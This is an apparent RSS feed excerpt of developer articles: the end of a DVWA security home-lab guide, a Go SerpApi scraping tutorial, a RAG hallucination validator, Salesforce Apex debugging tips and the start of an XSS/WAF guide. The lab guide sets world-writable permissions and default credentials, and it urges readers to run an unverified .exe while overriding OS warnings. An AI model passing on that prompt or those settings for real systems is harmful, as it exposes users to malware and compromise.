&lt;p&gt;What is DVWA? A PHP/MySQL web app intentionally full of common vulnerabilities (SQL injection, XSS, weak passwords)—the standard practice target for Part 1's SQLmap and web enumeration commands.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install the LAMP stack plus git:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;sudo apt install -y apache2 \&lt;br&gt;
  mariadb-server php php-mysql \&lt;br&gt;
  php-gd libapache2-mod-php git&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Clone DVWA from GitHub into Apache's web root:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;cd /var/www/html/&lt;br&gt;
sudo git clone &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/digininja/DVWA.git&quot;&gt;https://github.com/digininja/DVWA.git&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open permissions so DVWA can write its config:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;sudo chmod -R 777 /var/www/html/DVWA/&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Copy the sample config and point it at your database:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;cd /var/www/html/DVWA/config/&lt;br&gt;
sudo cp config.inc.php.dist config.inc.php&lt;br&gt;
sudo nano config.inc.php # db_user='dwva', db_password='p@ssw0rd'&lt;/p&gt;
&lt;p&gt;Access it: Open &lt;a rel=&quot;nofollow&quot; href=&quot;http://&amp;lt;Ubuntu-IP&amp;gt;/DVWA/setup.php&quot;&gt;http://&amp;lt;Ubuntu-IP&amp;gt;/DVWA/setup.php&lt;/a&gt; from Kali's browser. Default login is admin / password. Set the security level to &quot;low&quot; while you're first learning each attack.&lt;br&gt;
 Step 14: Monitoring &amp;amp; Apache Hardening&lt;/p&gt;
&lt;p&gt;Watching the target during an attack:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;top / htop                                              # live resource usage&lt;br&gt;
ss -tn state established '( sport = :80 )' | wc -l      # count HTTP connections&lt;br&gt;
sudo iftop -i enp0s3                                    # live network traffic&lt;br&gt;
sudo tail -f /var/log/apache2/access.log                # request log&lt;br&gt;
ps aux | grep apache                                    # process monitoring&lt;/p&gt;
&lt;p&gt;Hardening Apache:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo a2enmod reqtimeout&lt;br&gt;
sudo a2enmod headers&lt;br&gt;
sudo systemctl restart apache2&lt;/p&gt;
&lt;p&gt;Sample hardening for /etc/apache2/apache2.conf:&lt;br&gt;
text&lt;/p&gt;
&lt;p&gt;Timeout 30&lt;br&gt;
MaxRequestWorkers 150&lt;br&gt;
KeepAliveTimeout 5&lt;/p&gt;
&lt;p&gt;Full circle: After you've successfully run a DoS test from Kali, come back here and apply these settings—then re-run the same attack and watch the difference in how long the server holds up.&lt;br&gt;
 End Of Lab&lt;/p&gt;
&lt;p&gt;Understanding bash commands is always the first and most important step. Ubuntu and Kali both have excellent documentation.&lt;/p&gt;
&lt;p&gt;If it feels overwhelming, you can download and run this binary tool that compiles and categorizes over 500 bash commands and their usage for free:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/toyosee/cyberref-releases/releases/tag/v0.2.0

Download and run the cyberref.exe—no installation needed, no internet needed.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a free tool for students, researchers, and a quick reference for professionals. Your OS might reject it at first; grant it access. It is harmless.&lt;br&gt;
 About Me&lt;/p&gt;
&lt;p&gt;I am a usual guy that likes technology. If you wish to know more about me, follow me:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LinkedIn: www.linkedin.com/in/elijahbolaji/

GitHub: https://github.com/toyosee/

YouTube: https://www.youtube.com/@barterverse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Need a Video Guide? If you want a step-by-step video guide, ask in the comment section.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29401/how-to-build-a-safe-isolated-cybersecurity-home-lab-kali-ubuntu</guid>
<pubDate>Thu, 01 Oct 2026 11:52:16 +0000</pubDate>
</item>
<item>
<title>I Migrated from Python Scrapers to Go and Search APIs - Complete Guide published: true</title>
<link>https://coderlegion.com/29381/i-migrated-from-python-scrapers-to-go-and-search-apis-complete-guide-published-true</link>
<description>&lt;p&gt;•Observation :&lt;br&gt;
 Examples using public third-party APIs. Not affiliated with or endorsed by any API provider. All trademarks belong to their respective owners.&lt;/p&gt;
&lt;p&gt;I'm Pires Aurélio , a Go/Python developer from Angola. I build scrapers in production and document everything in public.&lt;/p&gt;
&lt;p&gt;My work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Main scraper (Python/AsyncIO)&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Aureliopires186/py-websites-scraper&quot;&gt;https://github.com/Aureliopires186/py-websites-scraper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Go SerpApi Examples&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Aureliopires186/go-serpapi-examples&quot;&gt;https://github.com/Aureliopires186/go-serpapi-examples&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jobs Scraper Tracker&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Aureliopires186/-serpApi-go-jobs-scraper/issues/3&quot;&gt;https://github.com/Aureliopires186/-serpApi-go-jobs-scraper/issues/3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blog - How to build REST API in Go&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://blogspotangola.blogspot.com/2026/09/how-to-create-simple-rest-api-with.html&quot;&gt;https://blogspotangola.blogspot.com/2026/09/how-to-create-simple-rest-api-with.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LinkedIn&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.linkedin.com/in/pires-aur%C3%A9lio-511330385&quot;&gt;https://www.linkedin.com/in/pires-aurélio-511330385&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For 2 years I scraped sites with pure Python/Go. Then I hit Google. Everything broke.&lt;/p&gt;
&lt;p&gt;This tutorial is how I solved it with Go + SerpApi.&lt;/p&gt;
&lt;h4 id=&quot;1-why-my-python-scraper-failed-on-google&quot;&gt;1. Why My Python Scraper Failed on Google&lt;/h4&gt;
&lt;p&gt;My repo &lt;code&gt;py-websites-scraper&lt;/code&gt; uses &lt;code&gt;asyncio + aiohttp + readability-lxml&lt;/code&gt;. Great for blogs.&lt;/p&gt;
&lt;p&gt;But for Google Jobs / Shopping:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CAPTCHA in 10 requests&lt;/li&gt;
&lt;li&gt;429 blocks&lt;/li&gt;
&lt;li&gt;Selectors change weekly&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I was spending 80% time fighting anti-bot, 20% building features. Wrong.&lt;/p&gt;
&lt;h4 id=&quot;2-why-serpapi-go-is-the-stack&quot;&gt;2. Why SerpApi + Go Is The Stack&lt;/h4&gt;
&lt;p&gt;SerpApi handles proxies, CAPTCHAs, parsing. You get clean JSON.&lt;br&gt;
Go handles concurrency perfectly.&lt;/p&gt;
&lt;p&gt;My stack now: Go + SerpApi + Gin REST API (as I teach in my blog)&lt;/p&gt;
&lt;h4 id=&quot;3-setup-2-minutes-&quot;&gt;3. Setup (2 minutes)&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;go mod init go-serpapi-demo
go get github.com/serpapi/google-search-results-golang
go get github.com/gin-gonic/gin
export SERPAPI_KEY=your_free_key_from_serpapi.com

#. Example 1: Google Jobs - (Fixed):


package main

import (
  &quot;fmt&quot;
  &quot;log&quot;
  &quot;os&quot;

  g &quot;github.com/serpapi/google-search-results-golang&quot;
)

func main() {
  apiKey := os.Getenv(&quot;SERPAPI_KEY&quot;)
  if apiKey == &quot;&quot; {
    log.Fatal(&quot;SERPAPI_KEY is not set&quot;)
  }

  params := map[string]string{
    &quot;engine&quot;: &quot;google_jobs&quot;,
    &quot;q&quot;: &quot;Go Developer&quot;,
    &quot;location&quot;: &quot;Remote&quot;,
    &quot;hl&quot;: &quot;en&quot;,
  }

  search := g.NewGoogleSearch(params, apiKey)
  results, err := search.GetJSON()
  if err!= nil {
    log.Fatalf(&quot;SerpApi request failed: %v&quot;, err)
  }

  jobsRaw, ok := results[&quot;jobs_results&quot;].([]interface{})
  if!ok {
    log.Printf(&quot;No jobs_results in response: %+v&quot;, results)
    return
  }

  if len(jobsRaw) == 0 {
    fmt.Println(&quot;No jobs found&quot;)
    return
  }

  for _, j := range jobsRaw {
    jobMap, ok := j.(map[string]interface{})
    if!ok {
      continue
    }
    fmt.Printf(&quot;[%v] %v - %v\n&quot;, jobMap[&quot;via&quot;], jobMap[&quot;title&quot;], jobMap[&quot;company_name&quot;])
  }
}


#. Example 2: Google Shopping Price Tracker: ( Fixed):


package main

import (
  &quot;fmt&quot;
  &quot;log&quot;
  &quot;os&quot;

  g &quot;github.com/serpapi/google-search-results-golang&quot;
)

func main() {
  apiKey := os.Getenv(&quot;SERPAPI_KEY&quot;)
  if apiKey == &quot;&quot; {
    log.Fatal(&quot;SERPAPI_KEY is not set&quot;)
  }

  params := map[string]string{
    &quot;engine&quot;: &quot;google_shopping&quot;,
    &quot;q&quot;: &quot;golang book&quot;,
  }

  search := g.NewGoogleSearch(params, apiKey)
  results, err := search.GetJSON()
  if err!= nil {
    log.Fatalf(&quot;failed to get shopping results: %v&quot;, err)
  }

  shoppingResults, ok := results[&quot;shopping_results&quot;].([]interface{})
  if!ok {
    log.Printf(&quot;No shopping_results found: %+v&quot;, results)
    return
  }

  fmt.Printf(&quot;Found %d products\n&quot;, len(shoppingResults))
  for _, item := range shoppingResults {
    if m, ok := item.(map[string]interface{}); ok {
      fmt.Printf(&quot;- %v: %v\n&quot;, m[&quot;title&quot;], m[&quot;price&quot;])
    }
  }
}




______________

By:Pires Aurélio 
Contact: *Emails are not allowed* 
https://blogspotangola.blogspot.com/?m=1
https://www.linkedin.com/in/pires-aur%C3%A9lio-511330385


&lt;/code&gt;&lt;/pre&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29381/i-migrated-from-python-scrapers-to-go-and-search-apis-complete-guide-published-true</guid>
<pubDate>Thu, 01 Oct 2026 10:26:24 +0000</pubDate>
</item>
<item>
<title>Catching AI Red-Handed in Financial Data</title>
<link>https://coderlegion.com/29146/catching-ai-red-handed-in-financial-data</link>
<description>&lt;p&gt;When I was building security auditing tools like Git Secret Scanner, the rules were binary: a vulnerability exists, or it doesn't. But when you start building Generative AI pipelines for institutional finance, things get dangerously blurry. &lt;/p&gt;
&lt;p&gt;Almost every RAG tutorial online shows you how to chunk a PDF, throw it into a vector database, and build a chatbot. That works fine for toy applications. But in an enterprise banking environment, a single hallucinated decimal point or a swapped currency symbol isn't just a bug—it’s a regulatory compliance violation. &lt;/p&gt;
&lt;p&gt;Standard Retrieval-Augmented Generation (RAG) relies on dense vector search, which maps text based on &lt;em&gt;semantic meaning&lt;/em&gt;. The problem? &quot;Q2 Revenue was $40M&quot; and &quot;Q3 Revenue was $40M&quot; are semantically identical to a vector database, but completely different to a financial auditor. &lt;/p&gt;
&lt;p&gt;I needed a way to force language models to be mathematically deterministic. So, I built &lt;strong&gt;FinGuard-RAG&lt;/strong&gt;.&lt;/p&gt;
&lt;h4 id=&quot;the-problem-silent-hallucinations&quot;&gt;The Problem: Silent Hallucinations&lt;/h4&gt;
&lt;p&gt;Let's say you ask an LLM for a company's Q3 revenue based on an SEC 10-K filing. The vector search pulls the right context, but the LLM decides to get creative.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# The Source Text retrieved from our Vector DB
source_context = &quot;The company reported a total operating revenue of $45.2 million for the third quarter of 2023.&quot;

# The LLM's generated output (Silent Hallucination)
llm_output = &quot;In Q3 2023, the company saw a total operating revenue of €45.2 million.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you pass this back to a user, you just swapped Dollars for Euros. A standard LLM evaluation metric (like BLEU or semantic similarity) will score this output highly because the text looks almost perfect.&lt;/p&gt;
&lt;h3 id=&quot;the-fix-introducing-finguard-rag&quot;&gt;The Fix: Introducing FinGuard-RAG&lt;/h3&gt;
&lt;p&gt;In high-stakes environments, we need a &quot;fiduciary-grade&quot; safety net. FinGuard-RAG is a lightweight, deterministic Python library that mathematically extracts every number, date, and currency from both the source text and the generated text, comparing them strictly.&lt;/p&gt;
&lt;p&gt;If the LLM outputs a number or currency that does not explicitly exist in the source document, the pipeline crashes.&lt;/p&gt;
&lt;p&gt;Here is how you implement it in your generation loop:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from finguard_rag import FiduciaryValidator
from finguard_rag.exceptions import ComplianceHallucinationError

# 1. Initialize the strict validator
validator = FiduciaryValidator(strict_mode=True)

source_text = &quot;The company reported a total operating revenue of $45.2 million for the third quarter of 2023.&quot;
generated_text = &quot;In Q3 2023, the company saw a total operating revenue of €45.2 million.&quot;

try:
    # 2. Run the deterministic check before returning the output to the user
    audit_result = validator.validate_generation(
        source_context=source_text,
        llm_response=generated_text
    )
    print(&quot;Response is compliance-verified. Safe to serve.&quot;)

except ComplianceHallucinationError as error:
    # 3. Catch the hallucination red-handed
    print(f&quot; BLOCKED: {error.message}&quot;)
    print(f&quot;Failed Entities: {error.mismatched_entities}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;the-result-1&quot;&gt;The Result&lt;/h3&gt;
&lt;p&gt;Instead of silently passing bad financial data to an end-user, FinGuard-RAG intercepts the response and outputs:&lt;/p&gt;
&lt;p&gt;&lt;code&gt; BLOCKED: Generated text contains numerical/currency entities not present in the source context.
Failed Entities: {'currencies': ['€']}&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-future-of-ai-in-finance&quot;&gt;The Future of AI in Finance&lt;/h3&gt;
&lt;p&gt;As we move toward deploying autonomous AI agent swarms to execute trades or write financial reports, deterministic guardrails are no longer optional—they are the mandatory foundation. We cannot scale autonomous agents without a fiduciary-grade safety net.&lt;/p&gt;
&lt;p&gt;I have just open-sourced the initial framework for FinGuard-RAG. If you are building AI pipelines for fintech, hedge funds, or banking, I'd love for you to test it, break it, and help set a new standard for deterministic AI.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check out the code, drop a star, or open a PR:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;{% github alamshoaib134/FinGuard-RAG %}&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29146/catching-ai-red-handed-in-financial-data</guid>
<pubDate>Tue, 29 Sep 2026 19:43:55 +0000</pubDate>
</item>
<item>
<title>Debugging Salesforce Apex - 8 Gotchas That Waste Everyone's Weekend</title>
<link>https://coderlegion.com/29142/debugging-salesforce-apex-8-gotchas-that-waste-everyones-weekend</link>
<description>&lt;hr&gt;
&lt;p&gt;title: Debugging Salesforce Apex - 8 Gotchas That Waste Everyone's Weekend&lt;br&gt;
published: true&lt;br&gt;
description: 8 Gotchas That Waste Everyone's Weekend&lt;br&gt;
tags: salesforce, apex, debugging, tutorial&lt;/p&gt;
&lt;h2 id=&quot;published-at-2026-07-17-13-16-0000&quot;&gt;published_at: 2026-07-17 13:16 +0000&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;If you've ever stared at a Salesforce debug log wondering why a trigger fired twice, why your query &quot;worked yesterday,&quot; or why a batch job silently ate an exception — this one's for you.&lt;/p&gt;
&lt;p&gt;Apex debugging is different from debugging most languages because you're not just fighting your own code. You're fighting governor limits, an opaque order of execution, and a debug log format that seems designed to hide the one line you need. Here are the gotchas that trip people up most, with real code.&lt;/p&gt;
&lt;h3 id=&quot;1-your-catch-block-is-swallowing-the-actual-error&quot;&gt;1. Your &lt;code&gt;catch&lt;/code&gt; block is swallowing the actual error&lt;/h3&gt;
&lt;p&gt;This is the single most common reason &quot;nothing shows up in the logs&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;try {
    insert accounts;
} catch (Exception e) {
    System.debug('Something went wrong');
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You caught the exception, printed a string with zero context, and moved on. When it breaks in production, you have nothing to go on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;try {
    insert accounts;
} catch (DmlException e) {
    for (Integer i = 0; i &amp;lt; e.getNumDml(); i++) {
        System.debug(LoggingLevel.ERROR,
            'DML failed on row ' + e.getDmlIndex(i) +
            ': ' + e.getDmlMessage(i));
    }
    throw e; // don't swallow it unless you have a real reason to
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Catch specific exception types (&lt;code&gt;DmlException&lt;/code&gt;, &lt;code&gt;QueryException&lt;/code&gt;, &lt;code&gt;NullPointerException&lt;/code&gt;) instead of generic &lt;code&gt;Exception&lt;/code&gt; whenever you can — the specific types give you methods like &lt;code&gt;getDmlMessage()&lt;/code&gt; and &lt;code&gt;getDmlIndex()&lt;/code&gt; that a bare &lt;code&gt;Exception&lt;/code&gt; doesn't.&lt;/p&gt;
&lt;h3 id=&quot;2-debug-logs-get-truncated-at-2mb-and-truncate-from-the-middle&quot;&gt;2. Debug logs get truncated at 2MB — and truncate from the middle&lt;/h3&gt;
&lt;p&gt;Salesforce debug logs have a hard 20MB size cap per transaction, but the piece you actually read in Setup often gets cut around 2MB depending on log level. When a log is huge, Salesforce removes lines from the &lt;em&gt;middle&lt;/em&gt;, not the end — so you'll see the start of your transaction and the finish, with the actual bug missing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Don't set every category to &lt;code&gt;FINEST&lt;/code&gt;. Set only what you need:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;APEX_CODE: DEBUG (not FINEST)
DB: INFO
WORKFLOW: INFO
VALIDATION: INFO
CALLOUT: INFO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;FINEST&lt;/code&gt; on &lt;code&gt;APEX_CODE&lt;/code&gt; logs every variable assignment and method entry/exit — it's the fastest way to blow past the size limit and lose the exact line you care about.&lt;/p&gt;
&lt;h3 id=&quot;3-governor-limits-don-t-show-up-until-they-blow-up&quot;&gt;3. Governor limits don't show up until they blow up&lt;/h3&gt;
&lt;p&gt;Apex is multi-tenant, so you get hard caps: 100 SOQL queries, 150 DML statements, 10,000 SOQL rows, 10 seconds of synchronous CPU time. The gotcha isn't that limits exist — it's that code that looks fine in isolation fails the moment it runs in bulk (more on that in #4).&lt;/p&gt;
&lt;p&gt;Instrument &lt;em&gt;before&lt;/em&gt; you hit the wall:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;System.debug('SOQL queries used: ' + Limits.getQueries() + ' / ' + Limits.getLimitQueries());
System.debug('DML used: ' + Limits.getDmlStatements() + ' / ' + Limits.getLimitDmlStatements());
System.debug('CPU time: ' + Limits.getCpuTime() + ' / ' + Limits.getLimitCpuTime());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Drop these at the top and bottom of suspect methods. When someone says &quot;it works for one record but times out on a bulk import,&quot; this is how you find out where.&lt;/p&gt;
&lt;h3 id=&quot;4-soql-dml-inside-a-for-loop-the-classic-that-still-gets-everyone&quot;&gt;4. SOQL/DML inside a &lt;code&gt;for&lt;/code&gt; loop — the classic that still gets everyone&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;// DO NOT DO THIS
for (Contact c : triggerNew) {
    Account a = [SELECT Id, Name FROM Account WHERE Id = :c.AccountId]; // query in a loop
    a.Last_Contact_Date__c = Date.today();
    update a; // DML in a loop
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This passes code review constantly because the person testing it only inserted one record. Insert 200 Contacts via a Data Loader batch and you'll blow past the 100-query or 150-DML limit instantly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix — bulkify it:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;Set&amp;lt;Id&amp;gt; accountIds = new Set&amp;lt;Id&amp;gt;();
for (Contact c : triggerNew) {
    if (c.AccountId != null) accountIds.add(c.AccountId);
}

Map&amp;lt;Id, Account&amp;gt; accountsToUpdate = new Map&amp;lt;Id, Account&amp;gt;(
    [SELECT Id, Name FROM Account WHERE Id IN :accountIds]
);

for (Contact c : triggerNew) {
    if (accountsToUpdate.containsKey(c.AccountId)) {
        accountsToUpdate.get(c.AccountId).Last_Contact_Date__c = Date.today();
    }
}

update accountsToUpdate.values();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One query, one DML statement, regardless of batch size.&lt;/p&gt;
&lt;h3 id=&quot;5-test-starttest-test-stoptest-reset-limits-this-can-hide-real-bugs&quot;&gt;5. &lt;code&gt;Test.startTest()&lt;/code&gt; / &lt;code&gt;Test.stopTest()&lt;/code&gt; reset limits — this can hide real bugs&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;@isTest
static void testBulkInsert() {
    List&amp;lt;Account&amp;gt; accs = TestDataFactory.createAccounts(200);
    Test.startTest();
    insert accs;
    Test.stopTest();
    // asserts...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Test.startTest()&lt;/code&gt; gives you a &lt;em&gt;fresh&lt;/em&gt; set of governor limits and forces async work (&lt;code&gt;@future&lt;/code&gt;, queueables, batch chunks) to run synchronously inside &lt;code&gt;stopTest()&lt;/code&gt;. That's great for testing async logic — but it also means limit-related bugs that would show up in a single real transaction can hide inside your test because the limits reset partway through. If a bug only appears in production and never in tests, check whether your DML/queries are split across the &lt;code&gt;startTest&lt;/code&gt;/&lt;code&gt;stopTest&lt;/code&gt; boundary in a way production traffic never gets.&lt;/p&gt;
&lt;h3 id=&quot;6-relationship-field-queries-return-null-not-an-exception-until-you-touch-a-field-on-them&quot;&gt;6. Relationship field queries return &lt;code&gt;null&lt;/code&gt;, not an exception — until you touch a field on them&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;Contact con = [SELECT Id, Account.Name, Account.Owner.Email FROM Contact WHERE Id = :conId];
System.debug(con.Account.Name); // fine if Account exists
System.debug(con.Account.Owner.Email); // NullPointerException if Account is null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;AccountId&lt;/code&gt; is null on that Contact, &lt;code&gt;con.Account&lt;/code&gt; itself is &lt;code&gt;null&lt;/code&gt; — and reaching for &lt;code&gt;.Owner&lt;/code&gt; on a null &lt;code&gt;Account&lt;/code&gt; throws a &lt;code&gt;NullPointerException&lt;/code&gt; with a stack trace that just says &quot;line 47,&quot; giving you no hint about &lt;em&gt;which&lt;/em&gt; relationship was null.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Guard each hop, or flatten with a null-safe pattern:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;String ownerEmail = (con.Account != null &amp;amp;&amp;amp; con.Account.Owner != null)
    ? con.Account.Owner.Email
    : null;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;7-without-sharing-vs-with-sharing-causes-silent-missing-data-not-errors&quot;&gt;7. &lt;code&gt;without sharing&lt;/code&gt; vs &lt;code&gt;with sharing&lt;/code&gt; causes silent missing data, not errors&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;public without sharing class DataProcessor {
    public List&amp;lt;Account&amp;gt; getAccounts() {
        return [SELECT Id, Name FROM Account]; // sees ALL records, ignores sharing rules
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The dangerous version of this bug is the reverse: a class declared &lt;code&gt;with sharing&lt;/code&gt; (or with no declaration, which inherits the caller's context) queries fewer records than expected for a particular user, and nothing throws an error — the query just returns 3 rows instead of 300. This is brutal to debug because it looks like a data problem, not a code problem.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; When you get a &quot;missing records&quot; bug report, check the sharing keyword on every class in the call stack before you touch the query itself. Explicitly declare &lt;code&gt;with sharing&lt;/code&gt; / &lt;code&gt;without sharing&lt;/code&gt; / &lt;code&gt;inherited sharing&lt;/code&gt; on every class — don't rely on the default.&lt;/p&gt;
&lt;h3 id=&quot;8-async-debug-logs-don-t-show-up-where-you-re-looking&quot;&gt;8. Async debug logs don't show up where you're looking&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;@future&lt;/code&gt; methods, Queueable jobs, and Batch Apex execute in a &lt;em&gt;separate transaction&lt;/em&gt;, often minutes later, under a different debug log entry than the one you're staring at.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apex&quot;&gt;@future
public static void updateRelatedRecords(Set&amp;lt;Id&amp;gt; recordIds) {
    System.debug('This log will NOT appear in the log of the code that called this method');
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Set up a trace flag on the &lt;em&gt;user&lt;/em&gt;, not just for a single anticipated transaction, and go to &lt;strong&gt;Setup → Debug Logs&lt;/strong&gt; to find the log entry with a later timestamp and an &quot;Application: Async&quot; indicator. For batch jobs, check &lt;strong&gt;Setup → Apex Jobs&lt;/strong&gt; for the Job ID, and consider writing key checkpoints to a custom object or &lt;code&gt;Exception&lt;/code&gt; records so you have a permanent record instead of a log that expires.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;quick-reference&quot;&gt;Quick reference&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Symptom &lt;/th&gt;&lt;th&gt;Likely cause&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Works with 1 record, fails on bulk import &lt;/td&gt;&lt;td&gt;SOQL/DML inside a loop&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Log is huge but missing the actual error &lt;/td&gt;&lt;td&gt;Log level set to FINEST, middle got truncated&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;NullPointerException with no useful detail &lt;/td&gt;&lt;td&gt;Unguarded relationship field traversal&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;User reports missing data, no error thrown &lt;/td&gt;&lt;td&gt;Sharing rules / &lt;code&gt;with sharing&lt;/code&gt; mismatch&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;System.debug&lt;/code&gt; never shows up &lt;/td&gt;&lt;td&gt;Code ran in an async context — check Apex Jobs&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Passes in test, fails in prod &lt;/td&gt;&lt;td&gt;Test isolated by &lt;code&gt;startTest&lt;/code&gt;/&lt;code&gt;stopTest&lt;/code&gt; boundary&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Debugging Apex is mostly about knowing &lt;em&gt;where&lt;/em&gt; to look — the log level, the sharing context, and whether you're even looking at the right transaction. Get those three things right and most &quot;mystery bugs&quot; stop being mysterious.&lt;/p&gt;
&lt;p&gt;What's the Apex bug that took you the longest to track down? Drop it in the comments.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29142/debugging-salesforce-apex-8-gotchas-that-waste-everyones-weekend</guid>
<pubDate>Tue, 29 Sep 2026 18:45:24 +0000</pubDate>
</item>
<item>
<title>How to Prevent XSS with a WAF: Filter the Payload Before It Lands</title>
<link>https://coderlegion.com/28987/how-to-prevent-xss-with-a-waf-filter-the-payload-before-it-lands</link>
<description>&lt;h2 id=&quot;how-to-prevent-xss-with-a-waf-filter-the-payload-before-it-lands&quot;&gt;How to Prevent XSS with a WAF: Filter the Payload Before It Lands&lt;/h2&gt;
&lt;p&gt;Cross-site scripting (XSS) is one of the oldest web vulnerabilities — and still one of the most common. It lets an attacker run script in your users' browsers: stealing sessions, defacing pages, or pivoting into deeper access. The good news is that XSS is also highly preventable, and a WAF is a strong first layer.&lt;/p&gt;
&lt;p&gt;This guide covers where a WAF fits in XSS defense, and what your application still needs to do.&lt;/p&gt;
&lt;h3 id=&quot;what-xss-is-quickly&quot;&gt;What XSS is, quickly&lt;/h3&gt;
&lt;p&gt;XSS happens when untrusted input is reflected into a page and executed as script. The classic case: a comment field that renders user text without escaping, so &lt;code&gt;&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;&lt;/code&gt; runs in every visitor's browser. There are also stored and DOM-based variants, but the core problem is the same — untrusted data treated as code.&lt;/p&gt;
&lt;h3 id=&quot;where-a-waf-helps&quot;&gt;Where a WAF helps&lt;/h3&gt;
&lt;p&gt;A WAF sits in front of your app and inspects incoming requests. For XSS, that means it can &lt;strong&gt;block malicious payloads in the request&lt;/strong&gt; — the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, event handlers, and obfuscated encodings — before they ever reach your application. That stops a large share of opportunistic, automated XSS attempts cold.&lt;/p&gt;
